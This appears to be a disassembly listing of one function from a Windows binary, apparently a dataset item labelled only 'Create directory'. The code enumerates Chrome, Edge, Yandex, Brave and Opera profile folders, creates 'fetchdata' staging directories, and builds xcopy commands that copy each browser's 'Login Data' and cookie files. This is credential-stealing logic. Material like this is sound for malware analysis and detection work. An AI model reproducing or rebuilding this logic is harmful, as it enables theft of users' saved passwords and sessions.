Function at 0x140012d30
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1460]
mov eax, 0x1560
call fcn.140150b00
sub rsp, rax
mov rax, qword [0x1401eb9a0]
xor rax, rsp
mov qword [rbp + 0x1450], rax
lea rcx, str.LocalAppData
call fcn.140169888
xor r13d, r13d
mov qword [rbp + 0xab8], r13
mov qword [rbp + 0xac8], r13
mov qword [rbp + 0xad0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xab8], r13b
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], r13b
jne 0x140012da7
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140002450
nop
lea rcx, str.appdata
call fcn.140169888
mov qword [rbp + 0xb80], r13
mov qword [rbp + 0xb90], r13
mov qword [rbp + 0xb98], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb80], 0
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140012df0
mov rdx, rax
lea rcx, [rbp + 0xb80]
call fcn.140002450
nop
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0x18
jb 0x140015bce
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], 0x18
lea rax, str.GoogleChromeUser_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xad8]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0x19
jb 0x140015bd4
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], 0x19
lea rax, str.MicrosoftEdgeUser_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xbd0]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0x1f
jb 0x140015bda
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], 0x1f
lea rax, str.YandexYandexBrowserUser_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc50]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0x26
jb 0x140015be0
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], 0x26
lea rax, str.BraveSoftwareBrave_BrowserUser_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc70]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xb90]
sub rax, rcx
cmp rax, 0x1c
jb 0x140015be6
lea r9, [rbp + 0xb80]
cmp qword [rbp + 0xb98], 0x10
cmovae r9, qword [rbp + 0xb80]
mov qword [rsp + 0x30], 0x1c
lea rax, str.Opera_SoftwareOpera_Stable
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xb80]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc90]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xb90]
sub rax, rcx
cmp rax, 0x1f
jb 0x140015bec
lea r9, [rbp + 0xb80]
cmp qword [rbp + 0xb98], 0x10
cmovae r9, qword [rbp + 0xb80]
mov qword [rsp + 0x30], 0x1f
lea rax, str.Opera_SoftwareOpera_GX_Stable
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xb80]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xcb0]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0xa
jb 0x140015bf2
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], 0xa
lea rax, str._fetchdata
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xd00]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0x11
jb 0x140015bf8
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
lea rax, str._fetchdatachrome
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc10]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0xf
jb 0x140015bfe
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], reloc.WS2_32.dll_ntohs
lea rax, str._fetchdataedge
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xd40]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0x11
jb 0x140015c04
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
lea rax, str._fetchdatayandex
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xd80]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0x10
jb 0x140015c0a
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recv
lea rax, str._fetchdata_brave
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xd20]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0x10
jb 0x140015c10
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recv
lea rax, str._fetchdataopera
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xee0]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rbp + 0xac8]
sub rax, rcx
cmp rax, 0x12
jb 0x140015c16
lea r9, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0x10
cmovae r9, qword [rbp + 0xab8]
mov qword [rsp + 0x30], reloc.WS2_32.dll_select
lea rax, str._fetchdataoperagx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xab8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xd60]
call fcn.140021700
nop
lea rcx, [rbp + 0xd00]
cmp qword [rbp + 0xd18], 0x10
cmovae rcx, qword [rbp + 0xd00]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0xad8]
cmp qword [rbp + 0xaf0], 0x10
cmovae rcx, qword [rbp + 0xad8]
lea rdx, [rbp + 0xeb0]
call fcn.140164f50
lea rbx, str.u.bat
lea r14, str.System
lea r12, [0x1401bb070]
test eax, eax
jne 0x1400148b8
lea rcx, [rbp + 0xc10]
cmp qword [rbp + 0xc28], 0x10
cmovae rcx, qword [rbp + 0xc10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xda0]
call fcn.140152690
mov rax, r15
mov rcx, qword [rbp + 0xae8]
sub rax, rcx
cmp rax, 6
jb 0x140015c1c
lea r9, [rbp + 0xad8]
cmp qword [rbp + 0xaf0], 0x10
cmovae r9, qword [rbp + 0xad8]
mov qword [rsp + 0x30], 6
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xad8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xb50]
call fcn.140021700
nop
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0xda0]
call fcn.140017b90
nop
mov rdx, qword [rbp + 0xb68]
cmp rdx, 0x10
jb 0x140013442
inc rdx
mov rcx, qword [rbp + 0xb50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001343d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c22
call fcn.14014fd6c
mov qword [rbp + 0xb60], r13
mov qword [rbp + 0xb68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb50], 0
xor al, al
mov byte [rsp + 0x40], al
mov rdi, qword [rbp + 0xae8]
lea rbx, [rbp + 0xad8]
cmp qword [rbp + 0xaf0], 0x10
cmovae rbx, qword [rbp + 0xad8]
call fcn.14014c0c4
mov qword [rbp + 0xb70], rbx
mov qword [rbp + 0xb78], rdi
lea r8, [rbp + 0xb70]
mov edx, eax
lea rcx, [rbp + 0xbf0]
call fcn.140004710
nop
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb20], xmm0
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0xb20]
call fcn.14001d210
test eax, eax
jne 0x140015c28
mov rdx, qword [rbp + 0xc08]
cmp rdx, 8
jb 0x140013514
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xbf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001350f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c3e
call fcn.14014fd6c
xorps xmm0, xmm0
movups xmmword [rbp + 0xb40], xmm0
mov rbx, qword [rbp + 0xb28]
mov qword [rsp + 0x48], rbx
test rbx, rbx
je 0x14001353f
lock inc dword [rbx + 8]
mov rbx, qword [rbp + 0xb28]
mov qword [rsp + 0x48], rbx
movaps xmm0, xmmword [rbp + 0xb20]
movdqa xmmword [rbp + 0xb40], xmm0
test rbx, rbx
je 0x140013563
lock inc dword [rbx + 8]
mov rbx, qword [rbp + 0xb28]
mov qword [rsp + 0x48], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcd0], xmm1
test rbx, rbx
je 0x1400135bd
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400135b1
mov rbx, qword [rbp + 0xb28]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400135b1
mov rbx, qword [rbp + 0xb28]
mov qword [rsp + 0x48], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x1400135bd
mov rax, qword [rbp + 0xb28]
mov qword [rsp + 0x48], rax
cmp qword [rbp + 0xb20], 0
je 0x140014872
movzx ebx, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
movzx r14d, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
mov rax, qword [rbp + 0xb40]
nop word [rax + rax]
lea r12, [rax + 0x20]
mov rcx, r12
call fcn.140005e10
test al, al
je 0x140014848
mov rax, qword [r12 + 0x10]
cmp qword [r12 + 0x18], 8
jb 0x140013615
mov r12, qword [r12]
lea r15, [r12 + rax*2]
mov r11, r15
mov rdx, r15
mov rcx, r12
call fcn.140004870
cmp rax, r15
je 0x14001365c
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x14001363b
cmp cx, 0x2f
jne 0x140013641
add rax, 2
jmp 0x140013627
lea rdx, [r11 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x14001365c
cmp cx, 0x2f
je 0x14001365c
mov r11, rdx
cmp rax, rdx
jne 0x140013641
sub r15, r11
sar r15, 1
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], 7
mov word [rbp - 0x28], r13w
mov r8, r15
mov rdx, r11
lea rcx, [rbp - 0x28]
call fcn.14001be90
nop
lea rdx, [rbp + 0xaf8]
lea rcx, [rbp - 0x28]
call fcn.140004c60
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x1400136d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400136d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c44
call fcn.14014fd6c
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], 7
mov word [rbp - 0x28], r13w
lea r12, [rbp + 0xaf8]
mov rax, qword [rbp + 0xb10]
cmp rax, 0x10
cmovae r12, qword [rbp + 0xaf8]
mov r13, qword [rbp + 0xb08]
cmp r13, 7
jb 0x140013776
lea r8, [r13 - 6]
add r8, r12
sub r8, r12
mov edx, 0x50
mov rcx, r12
call fcn.140153000
mov r15, rax
test rax, rax
je 0x14001376f
nop
mov r8d, 7
lea rdx, str.Profile
mov rcx, r15
call fcn.140152f20
test eax, eax
je 0x1400137f8
inc r15
lea r8, [r13 - 6]
add r8, r12
sub r8, r15
mov edx, 0x50
mov rcx, r15
call fcn.140153000
mov r15, rax
test rax, rax
jne 0x140013730
mov rax, qword [rbp + 0xb10]
mov r15, 0xffffffffffffffff
cmp r15, 0xffffffffffffffff
je 0x140014675
lea r15, [rbp + 0xaf8]
cmp rax, 0x10
cmovae r15, qword [rbp + 0xaf8]
cmp r13, 6
jb 0x14001383c
lea r12, [r15 + r13]
lea r8, [r12 - 5]
sub r8, r15
mov edx, 0x53
mov rcx, r15
call fcn.140153000
test rax, rax
je 0x14001383c
nop dword [rax]
nop word [rax + rax]
xor ecx, ecx
lea r8, str.System
nop dword [rax]
movzx edx, byte [rax + rcx]
inc rcx
cmp dl, byte [r8 + rcx - 1]
jne 0x140013807
cmp rcx, 6
jne 0x1400137e0
xor ecx, ecx
jmp 0x14001380c
sub r15, r12
mov rax, qword [rbp + 0xb10]
jmp 0x14001377d
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x14001382f
inc rax
lea r8, [r12 - 5]
sub r8, rax
mov edx, 0x53
mov rcx, rax
call fcn.140153000
test rax, rax
jne 0x1400137d0
jmp 0x14001383c
sub rax, r15
cmp rax, 0xffffffffffffffff
jne 0x140014e42
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x130], 0
lea r12, [rbp + 0xaf8]
cmp qword [rbp + 0xb10], 0x10
cmovae r12, qword [rbp + 0xaf8]
cmp r13, 0x10
jae 0x140013893
movups xmm0, xmmword [r12]
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x130], reloc.WS2_32.dll_ntohs
jmp 0x140013912
mov r15, r13
or r15, 0xf
movabs rax, 0x7fffffffffffffff
cmp r15, rax
cmova r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x1400138e7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140015c56
mov rcx, rax
call fcn.14014fd30
mov rcx, rax
test rax, rax
je 0x140015c50
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400138f5
test rcx, rcx
je 0x1400138f3
call fcn.14014fd30
jmp 0x1400138f5
xor eax, eax
mov qword [rbp + 0x118], rax
lea r8, [r13 + 1]
mov rdx, r12
mov rcx, rax
call fcn.140151fe0
mov qword [rbp + 0x130], r15
mov qword [rbp + 0x128], r13
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0xba0]
call fcn.14001d910
nop
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rcx, qword [rbp + 0xc20]
sub rax, rcx
cmp rax, 1
jb 0x140015bc8
lea r9, [rbp + 0xc10]
cmp qword [rbp + 0xc28], 0x10
cmovae r9, qword [rbp + 0xc10]
mov qword [rsp + 0x30], 1
lea r12, [0x1401bb070]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xc10]
movzx edx, bl
lea rcx, [rbp + 0x1d8]
call fcn.140021700
nop
lea rdx, [rbp + 0xba0]
cmp qword [rbp + 0xbb8], 0x10
cmovae rdx, qword [rbp + 0xba0]
mov r8, qword [rbp + 0xbb0]
lea rcx, [rbp + 0x1d8]
call fcn.14001c180
xor r13d, r13d
mov qword [rbp + 0xc30], r13
mov qword [rbp + 0xc40], r13
mov qword [rbp + 0xc48], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0x10
jb 0x140013a3d
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013a38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c5c
call fcn.14014fd6c
mov qword [rbp + 0x1e8], r13
mov qword [rbp + 0x1f0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d8], 0
lea rcx, [rbp + 0xc30]
cmp qword [rbp + 0xc48], 0x10
cmovae rcx, qword [rbp + 0xc30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, r15
mov rcx, qword [rbp + 0xae8]
sub rax, rcx
cmp rax, 7
jb 0x140015cce
lea rax, [rbp + 0xad8]
cmp qword [rbp + 0xaf0], 0x10
cmovae rax, qword [rbp + 0xad8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp + 0xad8]
movzx edx, sil
lea rcx, [rbp + 0x2c8]
call fcn.140021700
nop
mov r8d, 1
mov rdx, r12
lea rcx, [rbp + 0x2c8]
call fcn.14001c180
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0xaf8]
cmp qword [rbp + 0xb10], 0x10
cmovae rdx, qword [rbp + 0xaf8]
mov r8, qword [rbp + 0xb08]
lea rcx, [rbp + 0x58]
call fcn.14001c180
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, ntohs
lea rdx, str.Login_Data_
lea rcx, [rbp + 0x38]
call fcn.14001c180
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 0x1d
lea rdx, str.___appdata__fetchdatachrome_
lea rcx, [rbp + 0x18]
call fcn.14001c180
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x178], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x188], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0xba0]
cmp qword [rbp + 0xbb8], 0x10
cmovae rdx, qword [rbp + 0xba0]
mov r8, qword [rbp + 0xbb0]
lea rcx, [rbp + 0x178]
call fcn.14001c180
mov qword [rbp + 0x158], r13
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x170], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x168], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x1401bb470]
lea rcx, [rbp + 0x158]
call fcn.14001c180
mov qword [rbp + 0x138], r13
mov qword [rbp + 0x148], r13
mov qword [rbp + 0x150], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x138], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x148], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, reloc.WS2_32.dll_listen
lea rdx, [0x1401bb460]
lea rcx, [rbp + 0x138]
call fcn.14001c180
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
lea rcx, [rbp + 0xda0]
call fcn.1400240f0
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140013d4b
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013d46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c62
call fcn.14014fd6c
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x140013d9d
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013d98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c68
call fcn.14014fd6c
mov qword [rbp + 0x148], r13
mov qword [rbp + 0x150], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x138], 0
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x140013df7
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013df2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c6e
call fcn.14014fd6c
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x170], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0x10
jb 0x140013e51
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c74
call fcn.14014fd6c
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x178], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x140013ea5
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013ea0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c7a
call fcn.14014fd6c
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140013ef0
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013eeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c80
call fcn.14014fd6c
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140013f3b
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013f36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c86
call fcn.14014fd6c
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x58], 0
mov rdx, qword [rbp + 0x2e0]
cmp rdx, 0x10
jb 0x140013f8c
inc rdx
mov rcx, qword [rbp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013f87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c8c
call fcn.14014fd6c
mov rax, r15
mov rcx, qword [rbp + 0xae8]
sub rax, rcx
cmp rax, 7
jb 0x140015cc8
lea rax, [rbp + 0xad8]
cmp qword [rbp + 0xaf0], 0x10
cmovae rax, qword [rbp + 0xad8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp + 0xad8]
movzx edx, r14b
lea rcx, [rbp + 0x2a8]
call fcn.140021700
nop
mov r8d, 1
mov rdx, r12
lea rcx, [rbp + 0x2a8]
call fcn.14001c180
mov qword [rbp - 8], r13
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0xaf8]
cmp qword [rbp + 0xb10], 0x10
cmovae rdx, qword [rbp + 0xaf8]
mov r8, qword [rbp + 0xb08]
lea rcx, [rbp - 8]
call fcn.14001c180
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x108], r13
mov qword [rbp + 0x110], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x108], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.NetworkCookies_
lea rcx, [rbp + 0xf8]
call fcn.14001c180
mov qword [rbp + 0xd8], r13
mov qword [rbp + 0xe8], r13
mov qword [rbp + 0xf0], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 0x1d
lea rdx, str.___appdata__fetchdatachrome_
lea rcx, [rbp + 0xd8]
call fcn.14001c180
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0xba0]
cmp qword [rbp + 0xbb8], 0x10
cmovae rdx, qword [rbp + 0xba0]
mov r8, qword [rbp + 0xbb0]
lea rcx, [rbp + 0xb8]
call fcn.14001c180
mov qword [rbp + 0x98], r13
mov qword [rbp + 0xa8], r13
